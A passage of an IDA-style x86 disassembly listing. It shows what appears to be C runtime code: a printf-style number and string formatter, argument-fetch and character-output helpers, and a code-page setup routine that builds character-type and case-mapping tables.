		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2900000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2670985h
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 29006AAh
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		call	near ptr 2900000h
		nop
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
